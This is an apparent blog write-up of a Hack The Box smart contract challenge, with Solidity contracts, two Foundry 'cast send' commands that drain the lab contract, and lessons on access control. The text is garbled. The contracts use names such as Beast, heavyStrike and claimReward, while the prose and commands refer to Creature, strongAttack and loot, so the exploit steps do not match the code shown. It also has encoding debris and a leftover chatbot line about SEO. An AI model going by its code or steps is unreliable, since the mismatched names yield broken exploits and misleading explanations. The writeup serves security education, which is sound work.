Survival of the Fittest Writeup: A Web3 Developer’s Guide to Smart Contract Exploitation

Written By ApexWeb3

Survival of the Fittest Writeup is one of the standout smart contract challenges from Hack The Box (HTB), offering devs a sharp look into blockchain exploitation tactics. In the realm of blockchain development, understanding smart contract vulnerabilities isnโ€™t optional โ€” itโ€™s survival. This write-up breaks down the challenge, walks through the exploit, and serves as a practical guide for developers looking to sharpen their Web3 security skills.

โš ๏ธ Heads up, fam โ€” the smart contract code youโ€™ll see below is a reworked take on the original Survival of the Fittest Writeup from HTB. I tweaked variable names and function titles to keep things fresh for teaching purposes, but the exploit logic and vulnerability patterns stay legit.

Challenge Overview

The challenge involves two Solidity contracts: Setup.sol and Creature.sol.

Setup.sol

This contract initializes the challenge environment:

Solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Beast} from "./Beast.sol";

contract Setup {
    Beast public immutable TARGET;

    constructor() payable {
        require(msg.value == 1 ether, "1 ether required to deploy");

        TARGET = new Beast{value: 10}();
    }

    function challengeCompleted() public view returns (bool) {
        return address(TARGET).balance == 0;
    }
}

Key points:(CoinsBench)

  • Deploys the Creature contract with 10 wei.
  • Ensures the setup is only complete when 1 ether is sent.
  • The isSolved function checks if the Creature contract’s balance is depleted.

Creature.sol

This contract represents the target for exploitation:

Solidity
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

contract Beast {
    uint256 public health;
    address public lastAttacker;

    constructor() payable {
        health = 20;
    }

    function heavyStrike(uint256 damage) external {
        _takeDamage(damage);
    }

    function lightHit() external {
        _takeDamage(1);
    }

    function claimReward() external {
        require(health == 0, "Beast still stands!");
        payable(msg.sender).transfer(address(this).balance);
    }

    function _takeDamage(uint256 damage) internal {
        lastAttacker = msg.sender;
        health -= damage;
    }
}

Key functionalities:

  • lifePoints initialized to 20.
  • strongAttack and punch functions reduce lifePoints.
  • loot function allows withdrawal of funds when lifePoints reach zero.

Exploitation Strategy

The goal is to decrease lifePoints to zero and activate the loot function to withdraw the contractโ€™s balance.

Step 1: Inflict Damage

Utilize the strongAttack function to reduce lifePoints:

Bash
cast send $target -r $rpc 'function strongAttack(uint256)' 20 --private-key $pk

This command sends a transaction to the strongAttack function with a damage value of 20, effectively reducing lifePoints to zero.

Step 2: Loot the Contract

With lifePoints at zero, invoke the loot function:

Bash
cast send $target -r $rpc 'function loot()' --private-key $pk

Executing this command calls the loot function, which moves the contract’s balance to your address.

Absolutely โ€” letโ€™s expand that section with more in-depth, developer-relevant insights while weaving in “Survival of the Fittest Writeup” naturally for SEO.

Technical Insights

๐Ÿ“Œ State Variable Manipulation

One of the core takeaways from the Survival of the Fittest Writeup is how crucial it is to understand and manipulate state variables in smart contracts. In this challenge, lifePoints acts as the contractโ€™s primary gatekeeper for fund withdrawals. By targeting and reducing this variable directly โ€” through the strongAttack function โ€” attackers can bypass complex logic and trigger unintended outcomes.

This highlights a common issue in Solidity contracts where improperly guarded state variables can be the Achillesโ€™ heel of an otherwise solid system. Always question: What happens if this value changes? Who can change it? And what would break if it did?

๐Ÿ“Œ Access Control Considerations

Another major flaw exposed in this Survival of the Fittest Writeup is the complete lack of access restrictions on critical functions like strongAttack and punch. Any external address can invoke these functions, allowing anyone to manipulate the contractโ€™s internal state without restriction.

In production-grade smart contracts, this is a textbook mistake. Functions that affect key logic or balances should be protected by access modifiers such as onlyOwner, onlyRole, or by implementing custom logic to validate caller permissions. Even in simple contracts, never assume functions are safe just because you “expect” only certain users to call them.

๐Ÿ“Œ Tool Utilization and Foundry Alpha

This Survival of the Fittest Writeup also demonstrates how powerful developer tools like Foundry’s cast command-line utility can be for both exploitation and auditing. cast send allows devs to quickly interact with deployed contracts, call functions, and send transactions without spinning up a frontend or writing extra scripts.

For Web3 security researchers, cast is essential for rapidly testing hypotheses, fuzzing contract interactions, and simulating attacks in local or testnet environments. Pairing Foundry with tools like slither or mythril for static analysis can give developers a serious edge in identifying and fixing vulnerabilities before they go live.

๐Ÿง  Lessons for Developers

  • Implement Robust Access Controls: The Survival of the Fittest Writeup makes it clear โ€” always protect functions that modify critical state variables. Use access modifiers or custom logic to gatekeep sensitive operations.
  • Validate State Changes: Never assume state transitions are safe. Incorporate sanity checks, require conditions, and test for unexpected edge cases. Defensive programming isn’t optional in Web3.
  • Leverage the Right Tools: Familiarity with tools like Foundry, cast, and automated analysis tools gives you an edge in both development and auditing. The ability to quickly reproduce challenges like the Survival of the Fittest Writeup in your own test environment is a valuable skill for every smart contract engineer.
  • Think Like an Attacker: This challenge is a perfect example of how an attacker would view your contract โ€” looking for unprotected functions, unchecked state changes, and weak assumptions. Regularly reviewing your own code through this lens will harden your dApps and protocols.

๐Ÿ“š Further Reading

Keep the chain moving. Share this article ๐Ÿ‘‡

Latest Articles